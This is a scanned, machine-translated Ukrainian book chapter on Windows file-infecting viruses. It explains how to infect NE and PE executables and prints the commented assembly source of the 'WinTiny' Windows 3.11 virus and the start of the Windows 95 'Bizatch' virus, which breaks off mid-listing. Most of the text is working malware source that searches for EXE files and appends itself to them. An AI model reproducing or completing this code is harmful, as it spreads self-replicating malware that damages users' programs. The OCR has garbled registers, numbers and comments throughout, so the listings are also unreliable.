У цьому розділі розказано
про віруси, що заражають фай-
Пiдлога в операційному середовищі
Windows. Найбільш детально
розглянуті віруси під
Windows 95, Представлено
вихідні тексти вірусів
з докладними коментарями,
Також наведені основні
відомості про запускаються фай-
лах програм під Windows,
їх структурі, відмінностях
від файлів DOS,
Віруси під Windows 3.11
У виконуваному файлі Windows містяться в різних комбінаціях
код, дані і ресурси. Ресурси - це BIN-дані для прикладних про-
грам. Враховуючи можливість запуску файлу з DOS, формат даних
повинен розпізнаватися обома системами - і DOS, і Windows.
Для цього всі виконувані файли під Windows містять два заголовки-
ка. Перший заголовок (старий) - розпізнається DOS як програма, ви-
водящий на екран "This program requires Microsoft Windows". Другий
заголовок (NewEXE) - для роботи в Windows (див. додаток).
Як же заразити Windows NewEXE? На перший погляд файл формату
WinNE - звичайний ЕХЕ-файл. Починається він з заголовка ЕХЕ для
DOS і програми (STUB), яка виводить повідомлення "This program
requires Microsoft Windows ".
Якщо в ЕХЕ-заголовку по зсуві 18h стоїть число 40h або більше,
значить по зсуві 3Ch знаходиться зміщення заголовка NewEXE.
Тема NewEXE починається з символів "NE". Далі йде влас-
але заголовок, в якому містяться різні дані, в тому числі ад-
Реса зсувів таблиць сегментів, ресурсів та інші. Після заголовка
розташована таблиця сегментів, за нею - всі інші таблиці, далі
розміщені власне сегменти з кодом.
Отже, порядок дій:
1. Адреса заголовка NewEXE (DOS_Header +3 Ch) зменшується на 8.
2. Тема NewEXE зсувається на 8 байт тому.
3. У таблицю сегментів додається новий елемент, що описує
сегмент вірусу.
4. CS: IP NewEXE змінюється на початок вірусного коду, саме тіло
вірусу дописується в кінець файлу.
Для завантаження в пам'ять (треба перехопити вектор INT 21h з-під
Windows) необхідно використовувати функції DPMI (INT 31h). Дей-
ствия: виділення сегменту, зміна його прав доступу, запис вірусу,
перехоплення переривання 21h (робиться за допомогою функцій DPMI).
Як приклад, наводиться повний вихідний текст вірусу під Windows.
Принципи зараження такі ж, як і при зараженні ^ звичайного ЕХЕ-фай-
ла, - змінюється структура ЕХЕ-файла і середовище, в якому він працює.
.286
. MODEL TINY
. CODE
; Збережемо регістри і прапори
pushf
pusha
push ds
push es
. Перевіримо, чи доступний DPMI. Якщо доступний,
Продовжуємо, якщо ні - виходимо
mov ax, 1686h
int 2Fh
or ax, ax
jz dpmi_exist
; Відновимо регістри і прапори
exit:
pop es
pop ds
popa
popf
. Запустимо програму-носій
db OEAh
reloclP dw 0
relocCS dw OFFFFh
dpmi_exist:
; Виділимо лінійний блок пам'яті, використовуючи DPMI
mov ax, 0501h
mov cx, OFFFFh
xor bx.bx
int 31 h
; Збережемо індекс і 32-бітний лінійний адресу
. Отриманого блоку пам'яті в стеку
push si ~ ^
push di
push bx
push ex
; Створимо дескриптор в таблиці LDT
хог ах, ах
mov ex, 1
int 31 h
; B полі адреси отриманого дескриптора
. Встановимо адресу потрібного блоку пам'яті
mov bx, ax
mov ах, 7
pop dx
pop ex
int • 31h
; B поле межі отриманого дескриптора
зупинимо розмір виділеного блоку пам'яті
mov ах, 8
mov dx, OFFFFh
хог сх.сх
int 31h
; У полі прав доступу отриманого дескриптора встановимо значення,
відповідне сегменту даних, доступному для читання і запису
mov ах, 9
mov cl, 1111001 Ob
хог ch, ch
int 31h
; 3агрузім селектор в регістр DS. Після цього регістр DS буде
надавати на виділений блок пам'яті
mov ds.bx
. Читаємо з стека і зберігаємо в пам'яті
; Індекс отриманого блоку пам'яті
pop [mem_hnd +2]
pop [mem_hnd]
Отримаємо поточну DTA
mov ah, 2Fh
int 21 h
mov [DTA], bx
mov [DTA +2], es
; Знайдемо перші ЕХЕ-файл (маска *. ЕХЕ)
mov ah, 4Eh
xor ex, ex
mov dx, OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds
; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
; Виділену область пам'яті і запустимо програму-носій
jnc found_exe
; 0свободім виділену область пам'яті
call free
. Запустимо програму-носій
jmp exit
. Перейдемо до наступного файлу - цей не підходить
close_exe:
; Закриємо файл
mov ah, 3Eh
int 21h
; Знайдемо Наступне фото
mov ah, 4Fh
int 21h
; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
-. Виділену область пам'яті і запустимо програму-носій
jnc found_exe
; 0свободім виділену область пам'яті
call free
; 3апустім програму-носій
jmp exit
; Файл знайдений, перевіримо його на придатність до зараження
found ехе:
; 0ткроем файл для читання та запису
push ds
Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax, 3D02h
int 21 h
pop ds
. Прочитаємо старий заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx, 40h
mov ah, 3Fh
int 21h
; Перевіримо сигнатуру, це ЕХЕ-файл?
cmp WORD PTR [old_hdr], "ZM"
jne close_exe
[Перевіримо зсув таблиці настройки адрес.
; Якщо значення більше 40h, то це не звичайний ЕХЕ-файл.
; Не будемо відразу робити висновок,
; Що це NewEXE, тому ^ що це може виявитися
; РЕ-, LE-, LX-executable або інший
; (PE-executable описаний в розділі,
[Присвяченому Windows 95, інші
; Типи ЕХЕ-файлів в цій книзі не розглядаються)
cmp [old_hdr +18 h], WORD PTR 40h
jb close_exe
. Перейдемо до другого заголовку (може бути, це NewEXE?):
Переводимо покажчик до зсуву, зазначеного у полі 3Ch
mov dx.WORD PTR [old_hdr +3 Ch]
mov cx.WORD PTR [old_hdr +3 Eh]
mov ax, 4200h
int 21h
; Прочитаємо другий заголовок
mov dx.OFFSET newJ-idr
mov ex, 40h
mov ah, 3fh
int 21h
[Перевіримо сигнатуру, якщо сигнатура "NE", то це NewEXE-файл
cmp WORD PTR [new_hdr], "EN"
jne close_exe
[Перевіримо, для Windows чи призначений цей файл. Якщо так, будемо
; Заражати, інакше переходимо до наступного файлу
mov al, [new_hdr +36 h]
and al, 2
jz close_exe
. Перемістити покажчик читання / запису в таблицю сегментів,
; До елемента, що означає сегмент точки старту програми.
[Для цього прочитаємо значення регістра CS при запуску
[Цього ЕХЕ-файла
mov dx.WORD PTR [new_hdr +16 h]
; За номером сегмента обчислимо положення відповідного йому
[Елемента в таблиці сегментів
dec dx
shi dx, 3
; K результату додамо зсув таблиці сегментів і зміщення
. Заголовка NewEXE
add dx, WORD PTR [new_hdr +22 h]
add dx.WORO PTR [old_hdr +3 ch]
mov cx.WORD PTR [old_hdr +3 eh]
[Перемістити покажчик читання / запису
mov ax, 4200h
int 21 h
[Прочитаємо з таблиці сегментів зсув логічного сектора
mov dx, OFFSET temp
mov ex, 2
mov ah, 3Fh
int 21 h
. Обчислимо зміщення сегмента, спираючись на значення
. Зсуву логічного сектора і множника секторів
mov dx.WORD PTR [temp]
mov cx.WORD PTR [new_hdr +32 h]
xor ax.ax
cal_entry:
shi dx, 1
rcl ax, 1
loop cal_entry
. Перемістимо 16 старших біт 32-бітного результату в регістр СХ
mov cx, ax
; Додамо до результату зсув стартового адреси (IP)
add dx, WORD PTR [new_hdr +14 h]
adc cx.O
; Перемістити покажчик позиції читання / запису на точку старту
. Програми - результат обчислення
mov ax, 4200h
int 21 h
; Вважаємо перші 10 байт після старту програми
mov dx, OFFSET temp
mov cx, 10h
mov ah, 3Fh
int 21 h
Перевіримо, чи заражений файл. Якщо лічені 10 байт в точності
; Збігаються з першими 10-ма байтами нашого вірусу, файл заражений.
; У цьому випадку переходимо до пошуку наступного, інакше - заражаємо
mov si.OFFSET temp
push cs
pop es
xor di.di
mov ex, 8
eld
rep cmpsw
jne ok_to_infect
jmp close_exe
Приступимо до зараження
ok_to_infect:
Перемістимо NE-заголовок на 8 байт ближче до початку файлу.
; Виправимо відповідні поля старого заголовка
sub WORD PTR [old_hdr +10 h], 8
sub WORD PTR [old_hdr +3 ch], 8
sbb WORD PTR [old_hdr +3 eh], 0
; Виправимо значення таблиць в новому заголовку, щоб перемістилися
; Тільки заголовок і таблиця сегментів (без інших таблиць)
add WORD PTR [new_hdr +4], 8
add WORD PTR [new_hdr +24 h], 8
add WORD PTR [new_hdr +26 h], 8
add WORD PTR [new_hdr +28 h], 8
add WORD PTR [new_hdr +2 ah], 8
; Збережемо оригінальні значення точок входу CS і IP
push WORD PTR [new_hdr +14 h]
pop [hostJp]
pushTWORD PTR [new_hdr +16 h]
pop [host_cs]
; Додамо ще один сегмент в таблицю сегментів і встановимо
; Точку входу на його початок
mov WORD PTR [new_hdr +14 h], 0
inc WORD PTR [new_hdr +1 ch]
push WORD PTR [new_hdr +1 ch]
pop WORD PTR [new_hdr +16 h]
. Перемістити покажчик читання / запису в початок файлу
; (До старого заголовка)
хог сх.сх
xor dx.dx
mov ax, 4200h
int 21 h
; 3апішем старий заголовок, так як модифіковані
; Деякі поля його копії в пам'яті
mov dx.OFFSET old_hdr
mov cx, 40h
mov ah, 40h
int 21 h
; Перемістити покажчик читання / запису на початок нового
заголовка (його перемістили на 8 байт до початку файлу)
mov dx.WORD PTR [old_hdr +3 ch]
mov cx, WORD PTR [old_hdr +3 eh]
mov ax, 4200h
int 21 h
; 3апішем новий заголовок, так як в його копії
; В пам'яті деякі поля модифіковані
mov dx, OFFSET new_hdr
mov cx, 40h
mov ah, 40h
int 21h
. Перемістити покажчик читання / запису на 8 байт
; Вперед - до початку таблиці сегментів
хог сх.сх
mov dx, 8
mov ax, 4201 h
int 21h
розрахуємо розмір таблиці сегментів і вважаємо її в пам'ять
mov dx, OFFSET temp
mov cx.WORD PTR [new_hdr +1 ch]
dec ex
shi cx.3
push ex
mov ah, 3Fh
int 21h
Перемістимо покажчик читання / запису назад, до позиції
; За 8 байт перед початком таблиці сегментів
pop dx
push dx
add dx, 8
neg dx
mov cx, -1
mov ax, 4201h
int 21h
; 3апішем таблицю сегментів у файл, але не на її колишнє місце,
; А на 8 байт ближче до початку файлу
mov dx, OFFSET temp
pop ex
mov ah, 40h
int 21h
. Прочитаємо поточну позицію читання / запису (кінець таблиці сегментів)
xor сх, сх
xor dx.dx
mov ^ ax, 4201h
int 21 h
; Збережемо в стеку поточну позицію читання / запису
push dx
push ax
. Отримаємо довжину файлу, перемістивши покажчик
^ Тенія / запису в кінець файлу
xor сх.сх
xor dx, dx
mov ax, 4202h
int 21 h
; Збережемо в стеку довжину файлу
push dx
push ax
; Обчислимо і збережемо довжину логічного сектора
mov cx.WORD PTR [new_hdr +32 h]
mov ax, 1
shi ax.cl
mov [log_sec_len], ax
; Обчислимо довжину файлу в логічних секторах
mov сх.ах
pop ax
pop dx
div ex
-. Врахуємо неповний сектор. Якщо в результаті вийшов
; Залишок, збільшимо кількість секторів
or dx, dx
jz no_rmd
inc ax
no_rmd:
; 3аполнім поля нового елемента в таблиці сегментів
mov [my_seg_entry], ax
3-1436
mov [my_seg_entry +2], OFFSET vir_end
mov [my_seg_entry +4], 180h
mov [my_seg_entry +6], OFFSET vir_end
; Відновимо з стека позицію у файлі кінця таблиці секторів
pop dx
pop ex
Перемістимо покажчик читання / запису до цієї позиції
mov ax, 4200h
int 21 h
. Запишемо в кінець таблиці новий елемент
mov dx, OFFSET my_seg_entry
mov ex, 8
mov ah, 40h
int 21 h
; Скопіюємо тіло вірусу в область пам'яті, яку виділили
; На початку програми, для змін у ньому. У захищеному режимі
; (А працюємо саме в ньому), не можна зробити запис у сегмент
; Коду. Якщо з якоїсь причини потрібно провести зміну
; В сегменті коду, створюється аліасний дескриптор даних
; (Дескриптор, що містить те ж зміщення і довжину,
; Що і сегмент коду), і подальша робота ведеться з ним.
; У даному випадку просто скористаємося виділеним блоком пам'яті
push ds
pop es
push cs
pop ds
xor si, si
mov di, OFFSET temp
mov ex, OFFSET vir_end
eld
rep movsb
push es
pop ds
Ініціалізіруем адреса точки входу
mov si, OFFSET temp
mov WORD PTR [si + reloc! P], 0
mov WORD PTR [si + relocCS], OFFFFh
Перемістимо покажчик читання / запису на нову точку входу
mov ax, [my_seg_entry]
mov cx, [log_sec_len]
mul ex
mov cx.dx
mov dx.ax
mov ax, 4200h
int 21h
; 3апішем тіло вірусу в файл
mov dx, OFFSET temp
mov ex, OFFSET vir_end
mov ah, 40h
int 21h
. Ініціалізіруем поля переміщуваного елемента
mov WORD PTR [reloc_data], 1
mov BYTE PTR [reloc_data +2], 3
mov BYTE PTR [reloc_data +3], 4
mov WORD PTR [reloc_data +4], OFFSET reloclP
; 3апішем переміщуваний елемент
mov dx, OFFSET reloc_data
mov ex, 10
mov ah, 40h
int 21h
[Закриємо файл
mov ah, 3Eh
int 21h
. Звільнимо виділений блок пам'яті
call free
; 3апустім програму-носій
jmp exit
. Процедура, яка звільняє виділений блок пам'яті
free PROC NEAR
mov ax, 0502h
mov si, [mem_hnd]
mov di, [mem_hnd +2]
з *
int 31 h
ret
free ENDP
; Маска для пошуку файлів
wild_exe DB "• ЕХЕ-.О
; Ім'я вірусу
DB "WinTiny"
; Ідентифікатор, що вказує на кінець ініціалізованих даних
vir_end:
. Індекс виділеного блоку пам'яті
mem_hnd DW?
DW?
; Адреса поточної DTA
DTA DW?
DW?
; Місце для зберігання старого заголовка
olcLhdr DB 40h dup (?)
. Місце для зберігання нового заголовка
new_hdr DB 40h dup (?)
; Довжина логічного номера сектора
log_sec_len DW?
; Новий елемент у таблиці сегментів
my_seg_entry DW?
DW?
DW?
DW?
. Переміщуваний елемент
reloc_dataDW?
DB?
DB?
DW?
; 3наченіе оригінальної точки входу
host_cs DW?
hostJp DW?
; 0бласть пам'яті для використання
temp DB?
END
Віруси під Windows 95
Формат Portable Executable використовується Win32, Windows NT
і Windows 95, що робить його дуже популярним, і в майбутньому, можли-
але, він стане домінуючим форматом ЕХЕ. Цей формат значною
але відрізняється від NE-executable, використовуваного в Windows 3.11.
виклик Windows 95 API
Звичайні програми викликають Windows 95 API (Application Program
Interface) використовуючи таблицю імпортованих імен. Коли додаток
додано, дані, необхідні для виклику API, заносяться в цю табли-
цу. У Windows 95, завдяки передбачливості фірми-проводите-
ля Microsoft, модифіковані таблицю імпортованих імен неможливе.
Ця проблема вирішується безпосереднім викликом KERNEL32. Тобто
необхідно повністю ігнорувати структуру виклику і перейти не-
посередньо на точку входу DLL.
Щоб отримати описувач (Handle) DLL / EXE, можна використовувати
виклик API GetModuleHandle або інші функції для отримання точок
входу модуля, включаючи функцію отримання адреси API GetProcAddress.
Як викликати API, маючи можливість викликати його і в той самий час та-
кою можливості не маючи? Відповідь: викликати API, розташування которо-
го в пам'яті відомо - це API у файлі KERNEL32.DLL, він знаходиться
по постійному адресою.
Виклик API додатками виглядає приблизно так:
call APLFUNCTIONJMAME
наприклад:
call CreateFileA
Після компіляції цей виклик виглядає так:
db 9Ah. інструкція call
dd 7777; зсув в таблиці переходів
Код в таблиці переходів схожий на такий:
jmp far [offset into import table]
Зсув в таблиці імпортованих імен містить адресу диспетчера
для даної функції API. Ця адреса можна отримати за допомогою
GetProcAddress API. Диспетчер функцій виглядає так:
push function value
call Module Entrypoint
Знаючи точки входу, можна викликати їх безпосередньо, минаючи таблицю цього
модуля. Тому можна замінити виклики KERNEL32.DLL в його стан-
дартної точці на виклики безпосередньо функцій. Просто зберігаємо
в стеку значення функції і викликаємо точку входу в модуль.
Модуль KERNEL32 розташовується в пам'яті статично - саме так
і передбачалося. Але конкретне місце його розташування в різних вір-
сіях Windows 95 відрізняється. Це було підтверджено. Виявилося, що одна
функція (отримання часу / дати) відрізняється номером. Для компен-
сації цих відмінностей додана перевірка двох різних місць на наяв-
чіе KERNEL32. Але якщо KERNEL32 все-таки не знайдено, вірус повер-
щает керування програмі-носію.
Адреси та номери функцій
Для June Test Release KERNEL32 знаходиться за адресою OBFF93B95h, для
August Release - за адресою OBFF93ClDh. Можна знайти інші значен-
ня функції, використовуючи 32-бітний відладчик. У таблиці 3.1 наведені
адреси функцій, які потрібні для роботи вірусу.
Таблиця 3.1. Адреси деяких функцій KERNEL
Функція | Адреса в June Test Release | Адреса в August Test Release |
GetCurrentDir | BFF77744h | BFF77744h |
SetCurrentDir | BFF7771Dh | BFF7771Dh |
GetTime | BFF9DOB6h | BFF9D14Eh |
MessageBox | BFF638D9h | BFF638D9h |
FindFile | BFF77893h | BFF77893h |
FindNext | BFF778CBh | BFF778CBh |
CreateFile | BFF77817h | BFF77817h |
SetFilePointer | BFF76FAOh | BFF76FAOh |
ReadFile | BFF75806h | BFF75806h |
WriteFile | BFF7580Dh | BFF7580Dh |
CloseFile | BFF7BC72H | BFF7BC72h |
Угоди про виклики
Windows 95 написаний на мовах C + + (в основному) і Assembler. І, хоча
угоди про виклики прості для застосування, Microsoft їх не викорис-
зует. Всі API під Wm95 використовують Pascal Calling Convention. При-
заходів - API, описаний у файлах довідки Visual C + +:
FARPROC GetProcAddress (
HMODULE hModule, / / описувач DLL-модуля
LPCSTR IpszProc / / ім'я функції
);
На перший погляд здається, що достатньо лише зберегти в стеку опи-
Сатель DLL-модуля (він стоїть перед покажчиком на ім'я функції) і дзв-
вать API. Але це не так. Параметри, згідно Pascal Calling Convention,
повинні бути збережені в стеку у зворотному порядку:
push offset IpszProc
push dword ptr [hModule]
call GetProcAddress
Використовуючи 32-бітний відладчик, можна оттрассіровать виклик і знайти
виклик KERNEL32 для кожного конкретного випадку. Це дозволить напів-
чить номер функції і обійтися без необхідної для виклику таблиці
імпортованих імен.
Зараження файлів формату PE-executable
Визначення положення початку РЕ-заголовка відбувається аналогічно
пошуку початку NE-заголовка. Якщо зсув таблиці налаштування адре-
сов (поле 18h) в заголовку ЕХЕ-файла 40h або більше, то по зсуві
ЗСЬ знаходиться зміщення PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") знаходиться, як і у NE-executable ЕХЕ-файла, на початку но-
вого заголовка.
Усередині РЕ-заголовка знаходиться таблиця об'єктів. Її формат найбільш
важливий в порівнянні з іншими. Щоб додати вірусного коду в но-
СІТЕЛ і перехоплення вірусом управління необхідно додати елемент
в таблицю об'єктів.
Основні дії зараження PE-executable файлу:
1. Знайти зсув заголовка PE-executable у файлі.
2. Вважати достатню кількість інформації із заголовка для
обчислення його повного розміру.
3. Вважати весь РЕ-заголовок і таблицю об'єктів.
4. Додати новий об'єкт в таблицю об'єктів.
5. Встановити точку входу RVA на новий об'єкт.
6. Дописати вірус до файлу за обчисленому фізичній зсуву.
7. Записати змінений РЕ-заголовок у файл.
Для визначення розташування таблиці об'єктів слід скориста-
тися значенням змінної "HeaderSize" (не плутати з "NT
headersize "), яка містить спільний розмір заголовків DOS, РЕ
і таблиці об'єктів.
Для читання таблиці об'єктів необхідно вважати HeaderSize байт
від початку файлу.
Таблиця об'єктів розташована безпосередньо за NT-заголовком. Зна-
чення "NTheadersize" показує кількість байт, наступних за полем
"Flags". Отже, для визначення зміщення таблиці об'єктів потрібно по-
лучити NTheaderSize і додати розмір поля прапорів (24).
Додавання об'єкта: отримавши кількість об'єктів, помножити його на 40
(Розмір елемента таблиці об'єктів). Таким чином визначається кош-
щення, за яким буде розташований вірус.
Дані для елемента таблиці об'єктів повинні бути обчислені з викорис-
ристанням інформації в попередньому елементі (елементі носія).
RVA = ((divv RVA + divv Virtual Size) / OBJ Alignment +1)
* OBJ Alignment
Virtual Size = ((size of virus + buffer any space) / OBJ Alignment +1)
* OBJ Alignment
Physical Size = (size of virus / File Alignment +1) * File Alignment
Physical Offset = divv Physical Offset + divv Physical Size
Object Flags = db 40h, 0, O. COh
Entrypoint RVA = RVA
Тепер необхідно збільшити на одиницю полі "кількість об'єктів"
і записати код вірусу по обчисленому "фізичній зсуву"
у розмірі "фізичного розміру" байт.
Приклад вірусу під Windows 95
.386
locals
jumps
. Model flat.STDCALL
include win32.inc деякі 32-бітові константи і структури
L equ
; 0пределім зовнішні функції, до яких буде підключатися вірус
extrn BeginPaint: PROC
extrn CreateWindowExA: PROC
extrn DefWindowProcA: PROC
extrn DispatchMessageA: PROC
extrn EndPaint: PROC
extrn ExitProcess.-PROC
extrn FindWindowA: PROC
extrn GetMessageA: PROC
extrn GetModuleHandleA: PROC
extrn GetStockObject: PROC
extrn lnvalidateRect: PROC
extrn LoadCursorA: PROC
extrn LoadlconA: PROC
extrn MessageBeep: PROC
extrn PostQuitMessage: PROC
extrn RegisterClassA: PROC
extrn ShowWindow: PROC
extrn SetWindowPos: PROC
extrn TextOutA: PROC
extrn TranslateMessage: PROC
extrn UpdateWindow: PROC
; Для підтримки Unicode Win32 інтерпретує деякі функції
; Для ANSI чи розширеного набору символів.
; Як приклад розглянемо ANSI
CreateWindowEx equ
DefWindowProc equ
DispatchMessage equ
FindWindow equ
GetMessage equ
GetModuleHandle equ
LoadCursor equ
Loadlcon equ
MessageBox equ
RegisterClass equ
TextOut equ
• data
newhwnd dd 0
Ippaint PAINTSTRUCT
msg MSGSTRUCT
we WNDCLASS
mbx_count dd 0
hinst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once", 0
szClassName db "ASMCLASS32", 0
[Повідомлення, що виводиться у вікні
szPaint db "Left Button divssed:"
s_num db "OOOOOOOOh times.", 0
. Розмір повідомлення
MSG_L EQU ($-offset szPaint) -!
. Code
; Сюди зазвичай передається управління від завантажувача.
start:
. Отримаємо HMODULE
push L Про
call GetModuleHandle
mov [hlnst], eax
push L 0
push offset szClassName
call FindWindow
or eax.eax
jz reg_class
. Простір для модифікації рядка заголовка
mov [zero], ""
reg_class:
; Ініціалізіруем структуру WndClass
mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS
mov [wc.clsLpfnWndProc], offset WndProc
mov [wc.clsCbClsExtra], 0
mov [wc.clsCbWndExtra], 0
mov eax, [hlnst]
mov [wc.clsHlnstance], eax
[Завантажуємо значок
push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax
; Завантажуємо курсор
push L IDC.ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
. Ініціалізіруем залишилися поля структури WndClass
mov [wc.clsHbrBackground], COLOR_WINDOW +1
mov dword ptr [wc.clsLpszMenuName], 0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName
; Реєструємо клас вікна
push offset we
call RegisterClass
; Створюємо вікно
push L 0. IpParam
push [hinst]. hinstance
push L 0; Меню
push L 0; hwnd батьківського вікна
push L CWJJSEDEFAULT; Висота
push L CWJJSEDEFAULT; Довжина
push L CWJJSEDEFAULT; Y
push L CWJJSEDEFAULT; X
push L WSJ3VERLAPPEDWINDOW; Style
push offset szTitleName; Title Style
push offset szClassName; Class name
push L 0; extra style
call CreateWindowEx
. Зберігаємо HWND
mov [newhwnd], eax
. Відображаємо вікно на екрані
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow
; 0бновляем вміст вікна
push [newhwnd]
call UpdateWindow
; 0чередь повідомлень
msgJoop:
. Прочитаємо таке повідомлення з черги
push L Про
push L Про
push L Про
push offset msg
call GetMessage
; Якщо функція GetMessage повернула нульове значення, то завершуємо
[Обробку повідомлень і виходимо з процесу
стр ах.0
je endJoop
Перетворимо віртуальні коди клавіш в повідомлення клавіатури
push offset msg
call TranslateMessage
Передаємо це повідомлення тому в Windows
push offset msg
call DispatchMessage
[Переходимо до наступного повідомлення
jmp msgJoop
; Вихід з процесу
endJoop:
push [msg.msWPARAM]
call ExitProcess
. Обробка повідомлень вікна. Win32 вимагає збереження регістрів
; ЕВХ, EDI. ESI. Запишемо ці регістри після "uses" в рядку "ргос".
; Це дозволить Асемблер зберегти їх
WndProc proc uses ebx edi esi, hwnd; DWORD, wmsg: DWORD,
wparam: DWORD, lparam: DWORD
LOCAL theDC: DWORD
[Перевіримо, яке повідомлення отримали, і перейдемо до обробки
cmp [wmsg], WM_DESTROY
je wmdestroy
стр [wmsg], WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg], WM_SIZE
je wmsize
cmp [wmsg]. WM_CREATE
je wmcreate
cmp [wmsg], WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg], WM_PAINT
je wm paint
cmp [wmsg], WM_GETMINMAXINFO
je wmgetminmaxinfo
Дана програма не обробляє це повідомлення.
. Передамо його Windows,
: Щоб воно було оброблено за замовчуванням
jmp defwndproc
. Повідомлення WM_PAINT (перемалювати вміст вікна)
wmpaint:
Підготуємо вікно для перемальовування
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax
; Переведемо в ASCII-формат значення mbx_count, яке
доводить, скільки разів була натиснута ліва кнопка миші
mov eax, [mbx_count]
mov edi, offset s_num
call HexWrite32
; Висновок рядка у вікно
push L MSG_L; Довжина рядка
push offset szPaint; Рядок
push L 5; Y
push L 5; X
push [theDC]; DC
call TextOut
; 0бозначім завершення перемальовування вікна
push offset Ippaint
push [hwnd]
call EndPaint
; Виходимо з обробки повідомлення
mov eax, 0
jmp finish
; Повідомлення WM_CREATE (створення вікна)
wmcreate:
; Виходимо з обробки повідомлення
mov eax, Про
jrnp finish
[Повідомлення, не обробляється даною програмою, передаємо Windows
defwndproc:
push [Iparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
[Виходимо з обробки повідомлення
jmp finish
[Повідомлення WM_DESTROY (знищення вікна)
wmdestroy:
[Закриємо потік
push L Про
call PostQuitMessage
[Виходимо з обробки повідомлення
mov eax, Про
jmp finish
. Повідомлення WMJ-BUTTONDOWN (натискує ліва кнопка миші)
wmlbuttondown:
inc [mbx_count]
[Оновимо вміст вікна
push L Про
push L Про
push [hwnd]
call InvalidateRect
[Виходимо з обробки повідомлення
mov eax, Про
jmp finish
[Повідомлення WM_RBUTTONDOWN (натискує права кнопка миші)
wmrbuttondown:
push L 0
call MessageBeep
; Вихід їм з обробки повідомлення
jmp finish
; Повідомлення WM_SIZE (змінено розмір вікна)
wmsize:
[Виходимо з обробки повідомлення
mov eax, Про
jmp finish
[Повідомлення WM_GETMINMAXINFO (спроба змінити розмір
; Або положення вікна)
wmgetminmaxinfo:
[Заповнимо структуру MINMAXINFO
mov ebx, [Iparam]
mov [(MINMAXINFO ptr ebx). mintrackposition_x], 350
mov [(MINMAXINFO ptr ebx). mintrackposition_y], 60
. Виходимо з обробки повідомлення
mov eax, 0
jmp finish
[Виходимо з обробки повідомлення
finish:
ret
WndProc endp
Процедура переведення байта в ASCII-формат для друку. Значення,
[Знаходиться в регістрі AL, буде записано в ASCII-форматі
; За адресою ES: EDI
HexWriteS proc
; Поділяємо байт на полубайта і завантажуємо їх у регістри АН і AL
mov ah.al
and al.OFh
shr ah, 4
[Додаємо 30h до кожного полубайта, щоб регістри містили коди
[Відповідних символів ASCII. Якщо число,
; Записане в полубайте, було більше 9,
; То значення в цьому полубайте треба ще коригувати
or ax, 3030h
. Міняємо полубайта місцями, щоб регістр АН містив молодший
. Полубайта, а регістр AL - старший
xchg al.ah
; Перевіримо. чи треба коригувати молодший полубайта,
. Якщо так - коригуємо
cmp ah, 39h
ja @ @ 4
[Перевіримо, чи треба коригувати старший полубайта,
; Якщо так - коригуємо
@ @ 1:
cmp al, 39h
ja @ @ 3
; Збережемо значення за адресою ES: EDI
@ @ 2:
stosw
ret
. Коректуємо значення старшого полубайта
@ @ 3:
sub al, 30h
add al, "A" -10
jmp @ @ 2
[Коректуємо значення молодшого полубайта
@ @ 4:
sub ah, 30h
add ah, "A" -10
jmp @ @ 1
HexWriteS endp
[Процедура перекладу слова в ASCII-формат для друку.
[Значення, що знаходиться в регістрі АХ, буде записано
; В ASCII-форматі за адресою ES: EDI
HexWrite16 proc
; Збережемо молодший байт з стека
push ax
; 3агрузім старший байт в регістр А1_
xchg al, ah
. Переведемо старший байт в ASCII-формат
call HexWrite8
; Відновимо молодший байт з стека
pop ax
Переведемо молодший байт в ASCII-формат
call HexWrite8
ret
HexWrite-16 endp
Процедура переведення подвійного слова в ASCII-формат для друку.
; 3наченіе, що знаходиться в регістрі ЕАХ, буде записано
; В ASCII-форматі за адресою ES: EDI
HexWrite32 proc
. Збережемо молодше слово з стека
push eax
; Завантажимо старше слово в регістр АХ
shr eax, 16
[Переведемо старше слово в ASCII-формат
call HexWrite-16
[Відновимо молодше слово з стека
pop eax
[Переведемо молодше слово в ASCII-формат
call HexWrite-16
ret
HexWrite32 endp
[Зробимо процедуру WndProc доступною ззовні
public WndProc
ends
[Тут починається код вірусу. Цей код листується з файлу
; У файл. Все описане вище - всього лише програма-носій
vladseg segment para public "vlad"
assume cs: vladseg
vstart:
; Обчислимо поточний адресу
call recalc
recalc:
pop ebp
mov eax.ebp
db 2Dh; Код команди SUB AX
subme dd 30000h + (recalc-vstart)
; Збережемо адреса в стеку
push eax
[Обчислимо стартовий адресу вірусного коду
sub ebp.offset recalc
. Шукаємо KERNEL. Візьмемо другий відому нам точку KERNEL
mov eax, [ebp + offset kern2]
Перевіримо ключ. Якщо ключа немає, перейдемо до крапки 1
cmp dword ptr [eax], 5350FC9Ch
jnz notkern2
; KERNEL знайдений, точка 2
mov eax, [ebp + offset kern2]
jmp movit
; Точка 2 не підійшла, перевіримо точку 1
notkern2:
; Візьмемо адресу першої відомої нам точки KERNEL
mov eax, [ebp + offset kern1]
Перевіримо ключ, якщо ключа немає - виходимо
cmp dword ptr [eax], 5350FC9Ch
jnz nopayload
; KERNEL знайдений, точка 1
mov eax, [ebp + offset kern1]
; KERNEL знайдений, адреса точки входу знаходиться в регістрі EAX
movit:
. Збережемо адресу KERNEL
mov [ebp + offset kern]. eax
eld
; 3апомнім поточну директорію
lea eax, [ebp + offset orgdir]
push eax
push 255
call GetCurDir
; Ініціалізіруем лічильник заражень
mov byte ptr [ebp + offset countinfect], 0
; Шукаємо перший файл
infectdir:
lea eax, [ebp + offset win32_data_thang]
push eax
lea eax, [ebp + offset fname]
push eax
call FindFile
; Збережемо індекс для пошуку
mov dword ptr [ebp + offset searchhandle], eax
. Перевіримо, чи знайдений файл. Якщо файл не знайдений,
. Міняємо директорію
стр ЕАХ, -1
jz foundnothing
